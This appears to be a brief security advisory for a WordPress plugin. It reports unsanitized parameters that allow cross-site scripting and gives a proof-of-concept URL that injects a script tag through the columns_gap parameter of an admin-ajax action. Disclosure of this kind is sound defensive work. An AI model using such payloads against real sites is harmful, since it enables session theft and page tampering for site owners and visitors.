The plugin does not sanitize and escapes some parameters, which could allow users with a role as low as Admin to perform Cross-Site Scripting attacks.
https://example.com/wp-admin/admin-ajax.php?action=ere_property_gallery_fillter_ajax&columns_gap=%22%3E%3Cscript%3Ealert(%22xss%22);%3C/script%3E%3C!--